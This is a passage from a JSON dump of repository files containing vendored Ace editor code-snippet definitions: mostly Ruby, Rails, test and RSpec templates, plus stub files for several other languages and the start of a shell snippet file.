${1:condition}\\n\t\t${2}\\nsnippet unless\\n\tunless ${1:condition}\\n\t\t${2}\\n\tend\\nsnippet while\\n\twhile ${1:condition}\\n\t\t${2}\\n\tend\\nsnippet for\\n\tfor ${1:e} in ${2:c}\\n\t\t${3}\\n\tend\\nsnippet until\\n\tuntil ${1:condition}\\n\t\t${2}\\n\tend\\nsnippet cla class .. end\\n\tclass ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`}\\n\t\t${2}\\n\tend\\nsnippet cla class .. initialize .. end\\n\tclass ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`}\\n\t\tdef initialize(${2:args})\\n\t\t\t${3}\\n\t\tend\\n\tend\\nsnippet cla class .. < ParentClass .. initialize .. end\\n\tclass ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`} < ${2:ParentClass}\\n\t\tdef initialize(${3:args})\\n\t\t\t${4}\\n\t\tend\\n\tend\\nsnippet cla ClassName = Struct .. do .. end\\n\t${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`} = Struct.new(:${2:attr_names}) do\\n\t\tdef ${3:method_name}\\n\t\t\t${4}\\n\t\tend\\n\tend\\nsnippet cla class BlankSlate .. initialize .. end\\n\tclass ${1:BlankSlate}\\n\t\tinstance_methods.each { |meth| undef_method(meth) unless meth =~ /\\\\A__/ }\\n\tend\\nsnippet cla class << self .. end\\n\tclass << ${1:self}\\n\t\t${2}\\n\tend\\n# class .. < DelegateClass .. initialize .. end\\nsnippet cla-\\n\tclass ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`} < DelegateClass(${2:ParentClass})\\n\t\tdef initialize(${3:args})\\n\t\t\tsuper(${4:del_obj})\\n\\n\t\t\t${5}\\n\t\tend\\n\tend\\nsnippet mod module .. end\\n\tmodule ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`}\\n\t\t${2}\\n\tend\\nsnippet mod module .. module_function .. end\\n\tmodule ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`}\\n\t\tmodule_function\\n\\n\t\t${2}\\n\tend\\nsnippet mod module .. ClassMethods .. end\\n\tmodule ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`}\\n\t\tmodule ClassMethods\\n\t\t\t${2}\\n\t\tend\\n\\n\t\tmodule InstanceMethods\\n\\n\t\tend\\n\\n\t\tdef self.included(receiver)\\n\t\t\treceiver.extend         ClassMethods\\n\t\t\treceiver.send :include, InstanceMethods\\n\t\tend\\n\tend\\n# attr_reader\\nsnippet r\\n\tattr_reader :${1:attr_names}\\n# attr_writer\\nsnippet w\\n\tattr_writer :${1:attr_names}\\n# attr_accessor\\nsnippet rw\\n\tattr_accessor :${1:attr_names}\\nsnippet atp\\n\tattr_protected :${1:attr_names}\\nsnippet ata\\n\tattr_accessible :${1:attr_names}\\n# include Enumerable\\nsnippet Enum\\n\tinclude Enumerable\\n\\n\tdef each(&block)\\n\t\t${1}\\n\tend\\n# include Comparable\\nsnippet Comp\\n\tinclude Comparable\\n\\n\tdef <=>(other)\\n\t\t${1}\\n\tend\\n# extend Forwardable\\nsnippet Forw-\\n\textend Forwardable\\n# def self\\nsnippet defs\\n\tdef self.${1:class_method_name}\\n\t\t${2}\\n\tend\\n# def method_missing\\nsnippet defmm\\n\tdef method_missing(meth, *args, &blk)\\n\t\t${1}\\n\tend\\nsnippet defd\\n\tdef_delegator :${1:@del_obj}, :${2:del_meth}, :${3:new_name}\\nsnippet defds\\n\tdef_delegators :${1:@del_obj}, :${2:del_methods}\\nsnippet am\\n\talias_method :${1:new_name}, :${2:old_name}\\nsnippet app\\n\tif __FILE__ == $PROGRAM_NAME\\n\t\t${1}\\n\tend\\n# usage_if()\\nsnippet usai\\n\tif ARGV.${1}\\n\t\tabort \"Usage: #{$PROGRAM_NAME} ${2:ARGS_GO_HERE}\"${3}\\n\tend\\n# usage_unless()\\nsnippet usau\\n\tunless ARGV.${1}\\n\t\tabort \"Usage: #{$PROGRAM_NAME} ${2:ARGS_GO_HERE}\"${3}\\n\tend\\nsnippet array\\n\tArray.new(${1:10}) { |${2:i}| ${3} }\\nsnippet hash\\n\tHash.new { |${1:hash}, ${2:key}| $1[$2] = ${3} }\\nsnippet file File.foreach() { |line| .. }\\n\tFile.foreach(${1:\"path/to/file\"}) { |${2:line}| ${3} }\\nsnippet file File.read()\\n\tFile.read(${1:\"path/to/file\"})${2}\\nsnippet Dir Dir.global() { |file| .. }\\n\tDir.glob(${1:\"dir/glob/*\"}) { |${2:file}| ${3} }\\nsnippet Dir Dir[\"..\"]\\n\tDir[${1:\"glob/**/*.rb\"}]${2}\\nsnippet dir\\n\tFilename.dirname(__FILE__)\\nsnippet deli\\n\tdelete_if { |${1:e}| ${2} }\\nsnippet fil\\n\tfill(${1:range}) { |${2:i}| ${3} }\\n# flatten_once()\\nsnippet flao\\n\tinject(Array.new) { |${1:arr}, ${2:a}| $1.push(*$2)}${3}\\nsnippet zip\\n\tzip(${1:enums}) { |${2:row}| ${3} }\\n# downto(0) { |n| .. }\\nsnippet dow\\n\tdownto(${1:0}) { |${2:n}| ${3} }\\nsnippet ste\\n\tstep(${1:2}) { |${2:n}| ${3} }\\nsnippet tim\\n\ttimes { |${1:n}| ${2} }\\nsnippet upt\\n\tupto(${1:1.0/0.0}) { |${2:n}| ${3} }\\nsnippet loo\\n\tloop { ${1} }\\nsnippet ea\\n\teach { |${1:e}| ${2} }\\nsnippet ead\\n\teach do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet eab\\n\teach_byte { |${1:byte}| ${2} }\\nsnippet eac- each_char { |chr| .. }\\n\teach_char { |${1:chr}| ${2} }\\nsnippet eac- each_cons(..) { |group| .. }\\n\teach_cons(${1:2}) { |${2:group}| ${3} }\\nsnippet eai\\n\teach_index { |${1:i}| ${2} }\\nsnippet eaid\\n\teach_index do |${1:i}|\\n\t\t${2}\\n\tend\\nsnippet eak\\n\teach_key { |${1:key}| ${2} }\\nsnippet eakd\\n\teach_key do |${1:key}|\\n\t\t${2}\\n\tend\\nsnippet eal\\n\teach_line { |${1:line}| ${2} }\\nsnippet eald\\n\teach_line do |${1:line}|\\n\t\t${2}\\n\tend\\nsnippet eap\\n\teach_pair { |${1:name}, ${2:val}| ${3} }\\nsnippet eapd\\n\teach_pair do |${1:name}, ${2:val}|\\n\t\t${3}\\n\tend\\nsnippet eas-\\n\teach_slice(${1:2}) { |${2:group}| ${3} }\\nsnippet easd-\\n\teach_slice(${1:2}) do |${2:group}|\\n\t\t${3}\\n\tend\\nsnippet eav\\n\teach_value { |${1:val}| ${2} }\\nsnippet eavd\\n\teach_value do |${1:val}|\\n\t\t${2}\\n\tend\\nsnippet eawi\\n\teach_with_index { |${1:e}, ${2:i}| ${3} }\\nsnippet eawid\\n\teach_with_index do |${1:e},${2:i}|\\n\t\t${3}\\n\tend\\nsnippet reve\\n\treverse_each { |${1:e}| ${2} }\\nsnippet reved\\n\treverse_each do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet inj\\n\tinject(${1:init}) { |${2:mem}, ${3:var}| ${4} }\\nsnippet injd\\n\tinject(${1:init}) do |${2:mem}, ${3:var}|\\n\t\t${4}\\n\tend\\nsnippet map\\n\tmap { |${1:e}| ${2} }\\nsnippet mapd\\n\tmap do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet mapwi-\\n\tenum_with_index.map { |${1:e}, ${2:i}| ${3} }\\nsnippet sor\\n\tsort { |a, b| ${1} }\\nsnippet sorb\\n\tsort_by { |${1:e}| ${2} }\\nsnippet ran\\n\tsort_by { rand }\\nsnippet all\\n\tall? { |${1:e}| ${2} }\\nsnippet any\\n\tany? { |${1:e}| ${2} }\\nsnippet cl\\n\tclassify { |${1:e}| ${2} }\\nsnippet col\\n\tcollect { |${1:e}| ${2} }\\nsnippet cold\\n\tcollect do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet det\\n\tdetect { |${1:e}| ${2} }\\nsnippet detd\\n\tdetect do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet fet\\n\tfetch(${1:name}) { |${2:key}| ${3} }\\nsnippet fin\\n\tfind { |${1:e}| ${2} }\\nsnippet find\\n\tfind do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet fina\\n\tfind_all { |${1:e}| ${2} }\\nsnippet finad\\n\tfind_all do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet gre\\n\tgrep(${1:/pattern/}) { |${2:match}| ${3} }\\nsnippet sub\\n\t${1:g}sub(${2:/pattern/}) { |${3:match}| ${4} }\\nsnippet sca\\n\tscan(${1:/pattern/}) { |${2:match}| ${3} }\\nsnippet scad\\n\tscan(${1:/pattern/}) do |${2:match}|\\n\t\t${3}\\n\tend\\nsnippet max\\n\tmax { |a, b| ${1} }\\nsnippet min\\n\tmin { |a, b| ${1} }\\nsnippet par\\n\tpartition { |${1:e}| ${2} }\\nsnippet pard\\n\tpartition do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet rej\\n\treject { |${1:e}| ${2} }\\nsnippet rejd\\n\treject do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet sel\\n\tselect { |${1:e}| ${2} }\\nsnippet seld\\n\tselect do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet lam\\n\tlambda { |${1:args}| ${2} }\\nsnippet doo\\n\tdo\\n\t\t${1}\\n\tend\\nsnippet dov\\n\tdo |${1:variable}|\\n\t\t${2}\\n\tend\\nsnippet :\\n\t:${1:key} => ${2:\"value\"}${3}\\nsnippet ope\\n\topen(${1:\"path/or/url/or/pipe\"}, \"${2:w}\") { |${3:io}| ${4} }\\n# path_from_here()\\nsnippet fpath\\n\tFile.join(File.dirname(__FILE__), *%2[${1:rel path here}])${2}\\n# unix_filter {}\\nsnippet unif\\n\tARGF.each_line${1} do |${2:line}|\\n\t\t${3}\\n\tend\\n# option_parse {}\\nsnippet optp\\n\trequire \"optparse\"\\n\\n\toptions = {${1:default => \"args\"}}\\n\\n\tARGV.options do |opts|\\n\t\topts.banner = \"Usage: #{File.basename($PROGRAM_NAME)}\\nsnippet opt\\n\topts.on( \"-${1:o}\", \"--${2:long-option-name}\", ${3:String},\\n\t         \"${4:Option description.}\") do |${5:opt}|\\n\t\t${6}\\n\tend\\nsnippet tc\\n\trequire \"test/unit\"\\n\\n\trequire \"${1:library_file_name}\"\\n\\n\tclass Test${2:$1} < Test::Unit::TestCase\\n\t\tdef test_${3:case_name}\\n\t\t\t${4}\\n\t\tend\\n\tend\\nsnippet ts\\n\trequire \"test/unit\"\\n\\n\trequire \"tc_${1:test_case_file}\"\\n\trequire \"tc_${2:test_case_file}\"${3}\\nsnippet as\\n\tassert ${1:test}, \"${2:Failure message.}\"${3}\\nsnippet ase\\n\tassert_equal ${1:expected}, ${2:actual}${3}\\nsnippet asne\\n\tassert_not_equal ${1:unexpected}, ${2:actual}${3}\\nsnippet asid\\n\tassert_in_delta ${1:expected_float}, ${2:actual_float}, ${3:2 ** -20}${4}\\nsnippet asio\\n\tassert_instance_of ${1:ExpectedClass}, ${2:actual_instance}${3}\\nsnippet asko\\n\tassert_kind_of ${1:ExpectedKind}, ${2:actual_instance}${3}\\nsnippet asn\\n\tassert_nil ${1:instance}${2}\\nsnippet asnn\\n\tassert_not_nil ${1:instance}${2}\\nsnippet asm\\n\tassert_match /${1:expected_pattern}/, ${2:actual_string}${3}\\nsnippet asnm\\n\tassert_no_match /${1:unexpected_pattern}/, ${2:actual_string}${3}\\nsnippet aso\\n\tassert_operator ${1:left}, :${2:operator}, ${3:right}${4}\\nsnippet asr\\n\tassert_raise ${1:Exception} { ${2} }\\nsnippet asrd\\n\tassert_raise ${1:Exception} do\\n\t\t${2}\\n\tend\\nsnippet asnr\\n\tassert_nothing_raised ${1:Exception} { ${2} }\\nsnippet asnrd\\n\tassert_nothing_raised ${1:Exception} do\\n\t\t${2}\\n\tend\\nsnippet asrt\\n\tassert_respond_to ${1:object}, :${2:method}${3}\\nsnippet ass assert_same(..)\\n\tassert_same ${1:expected}, ${2:actual}${3}\\nsnippet ass assert_send(..)\\n\tassert_send [${1:object}, :${2:message}, ${3:args}]${4}\\nsnippet asns\\n\tassert_not_same ${1:unexpected}, ${2:actual}${3}\\nsnippet ast\\n\tassert_throws :${1:expected} { ${2} }\\nsnippet astd\\n\tassert_throws :${1:expected} do\\n\t\t${2}\\n\tend\\nsnippet asnt\\n\tassert_nothing_thrown { ${1} }\\nsnippet asntd\\n\tassert_nothing_thrown do\\n\t\t${1}\\n\tend\\nsnippet fl\\n\tflunk \"${1:Failure message.}\"${2}\\n# Benchmark.bmbm do .. end\\nsnippet bm-\\n\tTESTS = ${1:10_000}\\n\tBenchmark.bmbm do |results|\\n\t\t${2}\\n\tend\\nsnippet rep\\n\tresults.report(\"${1:name}:\") { TESTS.times { ${2} }}\\n# Marshal.dump(.., file)\\nsnippet Md\\n\tFile.open(${1:\"path/to/file.dump\"}, \"wb\") { |${2:file}| Marshal.dump(${3:obj}, $2) }${4}\\n# Mashal.load(obj)\\nsnippet Ml\\n\tFile.open(${1:\"path/to/file.dump\"}, \"rb\") { |${2:file}| Marshal.load($2) }${3}\\n# deep_copy(..)\\nsnippet deec\\n\tMarshal.load(Marshal.dump(${1:obj_to_copy}))${2}\\nsnippet Pn-\\n\tPStore.new(${1:\"file_name.pstore\"})${2}\\nsnippet tra\\n\ttransaction(${1:true}) { ${2} }\\n# xmlread(..)\\nsnippet xml-\\n\tREXML::Document.new(File.read(${1:\"path/to/file\"}))${2}\\n# xpath(..) { .. }\\nsnippet xpa\\n\telements.each(${1:\"//Xpath\"}) do |${2:node}|\\n\t\t${3}\\n\tend\\n# class_from_name()\\nsnippet clafn\\n\tsplit(\"::\").inject(Object) { |par, const| par.const_get(const) }\\n# singleton_class()\\nsnippet sinc\\n\tclass << self; self end\\nsnippet nam\\n\tnamespace :${1:`Filename()`} do\\n\t\t${2}\\n\tend\\nsnippet tas\\n\tdesc \"${1:Task description}\"\\n\ttask :${2:task_name => [:dependent, :tasks]} do\\n\t\t${3}\\n\tend\\n# block\\nsnippet b\\n\t{ |${1:var}| ${2} }\\nsnippet begin\\n\tbegin\\n\t\traise \\'A test exception.\\'\\n\trescue Exception => e\\n\t\tputs e.message\\n\t\tputs e.backtrace.inspect\\n\telse\\n\t\t# other exception\\n\tensure\\n\t\t# always executed\\n\tend\\n\\n#debugging\\nsnippet debug\\n\trequire \\'ruby-debug\\'; debugger; true;\\nsnippet pry\\n\trequire \\'pry\\'; binding.pry\\n\\n#############################################\\n# Rails snippets - for pure Ruby, see above #\\n#############################################\\nsnippet art\\n\tassert_redirected_to ${1::action => \"${2:index}\"}\\nsnippet artnp\\n\tassert_redirected_to ${1:parent}_${2:child}_path(${3:@$1}, ${4:@$2})\\nsnippet artnpp\\n\tassert_redirected_to ${1:parent}_${2:child}_path(${3:@$1})\\nsnippet artp\\n\tassert_redirected_to ${1:model}_path(${2:@$1})\\nsnippet artpp\\n\tassert_redirected_to ${1:model}s_path\\nsnippet asd\\n\tassert_difference \"${1:Model}.${2:count}\", $1 do\\n\t\t${3}\\n\tend\\nsnippet asnd\\n\tassert_no_difference \"${1:Model}.${2:count}\" do\\n\t\t${3}\\n\tend\\nsnippet asre\\n\tassert_response :${1:success}, @response.body${2}\\nsnippet asrj\\n\tassert_rjs :${1:replace}, \"${2:dom id}\"\\nsnippet ass assert_select(..)\\n\tassert_select \\'${1:path}\\', :${2:text} => \\'${3:inner_html\\' ${4:do}\\nsnippet bf\\n\tbefore_filter :${1:method}\\nsnippet bt\\n\tbelongs_to :${1:association}\\nsnippet crw\\n\tcattr_accessor :${1:attr_names}\\nsnippet defcreate\\n\tdef create\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.new(params[:$1])\\n\\n\t\trespond_to do |wants|\\n\t\t\tif @$1.save\\n\t\t\t\tflash[:notice] = \\'$2 was successfully created.\\'\\n\t\t\t\twants.html { redirect_to(@$1) }\\n\t\t\t\twants.xml  { render :xml => @$1, :status => :created, :location => @$1 }\\n\t\t\telse\\n\t\t\t\twants.html { render :action => \"new\" }\\n\t\t\t\twants.xml  { render :xml => @$1.errors, :status => :unprocessable_entity }\\n\t\t\tend\\n\t\tend\\n\tend${3}\\nsnippet defdestroy\\n\tdef destroy\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.find(params[:id])\\n\t\t@$1.destroy\\n\\n\t\trespond_to do |wants|\\n\t\t\twants.html { redirect_to($1s_url) }\\n\t\t\twants.xml  { head :ok }\\n\t\tend\\n\tend${3}\\nsnippet defedit\\n\tdef edit\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.find(params[:id])\\n\tend\\nsnippet defindex\\n\tdef index\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.all\\n\\n\t\trespond_to do |wants|\\n\t\t\twants.html # index.html.erb\\n\t\t\twants.xml  { render :xml => @$1s }\\n\t\tend\\n\tend${3}\\nsnippet defnew\\n\tdef new\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.new\\n\\n\t\trespond_to do |wants|\\n\t\t\twants.html # new.html.erb\\n\t\t\twants.xml  { render :xml => @$1 }\\n\t\tend\\n\tend${3}\\nsnippet defshow\\n\tdef show\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.find(params[:id])\\n\\n\t\trespond_to do |wants|\\n\t\t\twants.html # show.html.erb\\n\t\t\twants.xml  { render :xml => @$1 }\\n\t\tend\\n\tend${3}\\nsnippet defupdate\\n\tdef update\\n\t\t@${1:model_class_name} = ${2:ModelClassName}.find(params[:id])\\n\\n\t\trespond_to do |wants|\\n\t\t\tif @$1.update_attributes(params[:$1])\\n\t\t\t\tflash[:notice] = \\'$2 was successfully updated.\\'\\n\t\t\t\twants.html { redirect_to(@$1) }\\n\t\t\t\twants.xml  { head :ok }\\n\t\t\telse\\n\t\t\t\twants.html { render :action => \"edit\" }\\n\t\t\t\twants.xml  { render :xml => @$1.errors, :status => :unprocessable_entity }\\n\t\t\tend\\n\t\tend\\n\tend${3}\\nsnippet flash\\n\tflash[:${1:notice}] = \"${2}\"\\nsnippet habtm\\n\thas_and_belongs_to_many :${1:object}, :join_table => \"${2:table_name}\", :foreign_key => \"${3}_id\"${4}\\nsnippet hm\\n\thas_many :${1:object}\\nsnippet hmd\\n\thas_many :${1:other}s, :class_name => \"${2:$1}\", :foreign_key => \"${3:$1}_id\", :dependent => :destroy${4}\\nsnippet hmt\\n\thas_many :${1:object}, :through => :${2:object}\\nsnippet ho\\n\thas_one :${1:object}\\nsnippet i18\\n\tI18n.t(\\'${1:type.key}\\')${2}\\nsnippet ist\\n\t<%= image_submit_tag(\"${1:agree.png}\", :id => \"${2:id}\"${3} %>\\nsnippet log\\n\tRails.logger.${1:debug} ${2}\\nsnippet log2\\n\tRAILS_DEFAULT_LOGGER.${1:debug} ${2}\\nsnippet logd\\n\tlogger.debug { \"${1:message}\" }${2}\\nsnippet loge\\n\tlogger.error { \"${1:message}\" }${2}\\nsnippet logf\\n\tlogger.fatal { \"${1:message}\" }${2}\\nsnippet logi\\n\tlogger.info { \"${1:message}\" }${2}\\nsnippet logw\\n\tlogger.warn { \"${1:message}\" }${2}\\nsnippet mapc\\n\t${1:map}.${2:connect} \\'${3:controller/:action/:id}\\'\\nsnippet mapca\\n\t${1:map}.catch_all \"*${2:anything}\", :controller => \"${3:default}\", :action => \"${4:error}\"${5}\\nsnippet mapr\\n\t${1:map}.resource :${2:resource}\\nsnippet maprs\\n\t${1:map}.resources :${2:resource}\\nsnippet mapwo\\n\t${1:map}.with_options :${2:controller} => \\'${3:thing}\\' do |$3|\\n\t\t${4}\\n\tend\\nsnippet mbs\\n\tbefore_save :${1:method}\\nsnippet mcht\\n\tchange_table :${1:table_name} do |t|\\n\t\t${2}\\n\tend\\nsnippet mp\\n\tmap(&:${1:id})\\nsnippet mrw\\n\tmattr_accessor :${1:attr_names}\\nsnippet oa\\n\torder(\"${1:field}\")\\nsnippet od\\n\torder(\"${1:field} DESC\")\\nsnippet pa\\n\tparams[:${1:id}]${2}\\nsnippet ra\\n\trender :action => \"${1:action}\"\\nsnippet ral\\n\trender :action => \"${1:action}\", :layout => \"${2:layoutname}\"\\nsnippet rest\\n\trespond_to do |wants|\\n\t\twants.${1:html} { ${2} }\\n\tend\\nsnippet rf\\n\trender :file => \"${1:filepath}\"\\nsnippet rfu\\n\trender :file => \"${1:filepath}\", :use_full_path => ${2:false}\\nsnippet ri\\n\trender :inline => \"${1:<%= \\'hello\\' %>}\"\\nsnippet ril\\n\trender :inline => \"${1:<%= \\'hello\\' %>}\", :locals => { ${2::name} => \"${3:value}\"${4} }\\nsnippet rit\\n\trender :inline => \"${1:<%= \\'hello\\' %>}\", :type => ${2::rxml}\\nsnippet rjson\\n\trender :json => ${1:text to render}\\nsnippet rl\\n\trender :layout => \"${1:layoutname}\"\\nsnippet rn\\n\trender :nothing => ${1:true}\\nsnippet rns\\n\trender :nothing => ${1:true}, :status => ${2:401}\\nsnippet rp\\n\trender :partial => \"${1:item}\"\\nsnippet rpc\\n\trender :partial => \"${1:item}\", :collection => ${2:@$1s}\\nsnippet rpl\\n\trender :partial => \"${1:item}\", :locals => { :${2:$1} => ${3:@$1}\\nsnippet rpo\\n\trender :partial => \"${1:item}\", :object => ${2:@$1}\\nsnippet rps\\n\trender :partial => \"${1:item}\", :status => ${2:500}\\nsnippet rt\\n\trender :text => \"${1:text to render}\"\\nsnippet rtl\\n\trender :text => \"${1:text to render}\", :layout => \"${2:layoutname}\"\\nsnippet rtlt\\n\trender :text => \"${1:text to render}\", :layout => ${2:true}\\nsnippet rts\\n\trender :text => \"${1:text to render}\", :status => ${2:401}\\nsnippet ru\\n\trender :update do |${1:page}|\\n\t\t$1.${2}\\n\tend\\nsnippet rxml\\n\trender :xml => ${1:text to render}\\nsnippet sc\\n\tscope :${1:name}, :where(:@${2:field} => ${3:value})\\nsnippet sl\\n\tscope :${1:name}, lambda do |${2:value}|\\n\t\twhere(\"${3:field = ?}\", ${4:bind var})\\n\tend\\nsnippet sha1\\n\tDigest::SHA1.hexdigest(${1:string})\\nsnippet sweeper\\n\tclass ${1:ModelClassName}Sweeper < ActionController::Caching::Sweeper\\n\t\tobserve $1\\n\\n\t\tdef after_save(${2:model_class_name})\\n\t\t\texpire_cache($2)\\n\t\tend\\n\\n\t\tdef after_destroy($2)\\n\t\t\texpire_cache($2)\\n\t\tend\\n\\n\t\tdef expire_cache($2)\\n\t\t\texpire_page\\n\t\tend\\n\tend\\nsnippet tcb\\n\tt.boolean :${1:title}\\n\t${2}\\nsnippet tcbi\\n\tt.binary :${1:title}, :limit => ${2:2}.megabytes\\n\t${3}\\nsnippet tcd\\n\tt.decimal :${1:title}, :precision => ${2:10}, :scale => ${3:2}\\n\t${4}\\nsnippet tcda\\n\tt.date :${1:title}\\n\t${2}\\nsnippet tcdt\\n\tt.datetime :${1:title}\\n\t${2}\\nsnippet tcf\\n\tt.float :${1:title}\\n\t${2}\\nsnippet tch\\n\tt.change :${1:name}, :${2:string}, :${3:limit} => ${4:80}\\n\t${5}\\nsnippet tci\\n\tt.integer :${1:title}\\n\t${2}\\nsnippet tcl\\n\tt.integer :lock_version, :null => false, :default => 0\\n\t${1}\\nsnippet tcr\\n\tt.references :${1:taggable}, :polymorphic => { :default => \\'${2:Photo}\\' }\\n\t${3}\\nsnippet tcs\\n\tt.string :${1:title}\\n\t${2}\\nsnippet tct\\n\tt.text :${1:title}\\n\t${2}\\nsnippet tcti\\n\tt.time :${1:title}\\n\t${2}\\nsnippet tcts\\n\tt.timestamp :${1:title}\\n\t${2}\\nsnippet tctss\\n\tt.timestamps\\n\t${1}\\nsnippet va\\n\tvalidates_associated :${1:attribute}\\nsnippet vao\\n\tvalidates_acceptance_of :${1:terms}\\nsnippet vc\\n\tvalidates_confirmation_of :${1:attribute}\\nsnippet ve\\n\tvalidates_exclusion_of :${1:attribute}, :in => ${2:%w( mov avi )}\\nsnippet vf\\n\tvalidates_format_of :${1:attribute}, :with => /${2:regex}/\\nsnippet vi\\n\tvalidates_inclusion_of :${1:attribute}, :in => %w(${2: mov avi })\\nsnippet vl\\n\tvalidates_length_of :${1:attribute}, :within => ${2:3}..${3:20}\\nsnippet vn\\n\tvalidates_numericality_of :${1:attribute}\\nsnippet vpo\\n\tvalidates_presence_of :${1:attribute}\\nsnippet vu\\n\tvalidates_uniqueness_of :${1:attribute}\\nsnippet wants\\n\twants.${1:js|xml|html} { ${2} }\\nsnippet wc\\n\twhere(${1:\"conditions\"}${2:, bind_var})\\nsnippet wh\\n\twhere(${1:field} => ${2:value})\\nsnippet xdelete\\n\txhr :delete, :${1:destroy}, :id => ${2:1}${3}\\nsnippet xget\\n\txhr :get, :${1:show}, :id => ${2:1}${3}\\nsnippet xpost\\n\txhr :post, :${1:create}, :${2:object} => { ${3} }\\nsnippet xput\\n\txhr :put, :${1:update}, :id => ${2:1}, :${3:object} => { ${4} }${5}\\nsnippet test\\n\ttest \"should ${1:do something}\" do\\n\t\t${2}\\n\tend\\n#migrations\\nsnippet mac\\n\tadd_column :${1:table_name}, :${2:column_name}, :${3:data_type}\\nsnippet mrc\\n\tremove_column :${1:table_name}, :${2:column_name}\\nsnippet mrnc\\n\trename_column :${1:table_name}, :${2:old_column_name}, :${3:new_column_name}\\nsnippet mcc\\n\tchange_column :${1:table}, :${2:column}, :${3:type}\\nsnippet mccc\\n\tt.column :${1:title}, :${2:string}\\nsnippet mct\\n\tcreate_table :${1:table_name} do |t|\\n\t\tt.column :${2:name}, :${3:type}\\n\tend\\nsnippet migration\\n\tclass ${1:class_name} < ActiveRecord::Migration\\n\t\tdef self.up\\n\t\t\t${2}\\n\t\tend\\n\\n\t\tdef self.down\\n\t\tend\\n\tend\\n\\nsnippet trc\\n\tt.remove :${1:column}\\nsnippet tre\\n\tt.rename :${1:old_column_name}, :${2:new_column_name}\\n\t${3}\\nsnippet tref\\n\tt.references :${1:model}\\n\\n#rspec\\nsnippet it\\n\tit \"${1:spec_name}\" do\\n\t\t${2}\\n\tend\\nsnippet itp\\n\tit \"${1:spec_name}\"\\n\t${2}\\nsnippet desc\\n\tdescribe ${1:class_name} do\\n\t\t${2}\\n\tend\\nsnippet cont\\n\tcontext \"${1:message}\" do\\n\t\t${2}\\n\tend\\nsnippet bef\\n\tbefore :${1:each} do\\n\t\t${2}\\n\tend\\nsnippet aft\\n\tafter :${1:each} do\\n\t\t${2}\\n\tend\\n',t.scope=\"ruby\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/rust.js",
    "content": "ace.define(\"ace/snippets/rust\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"rust\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/sass.js",
    "content": "ace.define(\"ace/snippets/sass\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"sass\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/scad.js",
    "content": "ace.define(\"ace/snippets/scad\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"scad\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/scala.js",
    "content": "ace.define(\"ace/snippets/scala\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"scala\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/scheme.js",
    "content": "ace.define(\"ace/snippets/scheme\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"scheme\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/scss.js",
    "content": "ace.define(\"ace/snippets/scss\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"scss\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/sh.js",
    "content": "ace.define(\"ace/snippets/sh\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# Shebang. Executing bash via /usr/bin/env makes scripts more portable.\\nsnippet #!\\n\t#!/usr/bin/env bash\\n\t\\nsnippet if\\n\tif [[ ${1:condition} ]]; then\\n\t\t${2:#statements}\\n\tfi\\nsnippet elif\\n\telif [[ ${1:condition} ]]; then\\n\t\t${2:#statements}\\nsnippet for\\n\tfor (( ${2:i} = 0; $2 < ${1:count}; $2++ )); do\\n\t\t${3:#statements}\\n\tdone\\nsnippet fori\\n\tfor ${1:needle} in ${2:haystack} ; do\\n\t\t${3:#statements}\\n\tdone\\nsnippet wh\\n\twhile [[ ${1:condition} ]]; do\\n\t\t${2:#statements}\\n\tdone\\nsnippet until\\n\tuntil [[ ${1:condition} ]]; do\\n\t\t${2:#statements}\\n\tdone\\nsnippet case\\n\tcase ${1:word} in\\n\t\t${2:pattern})\\n\t\t\t${3};;\\n\tesac\\nsnippet go \\n\twhile getopts \\'${1:o}\\' ${2:opts} \\n\tdo \\n\t\tcase $$2 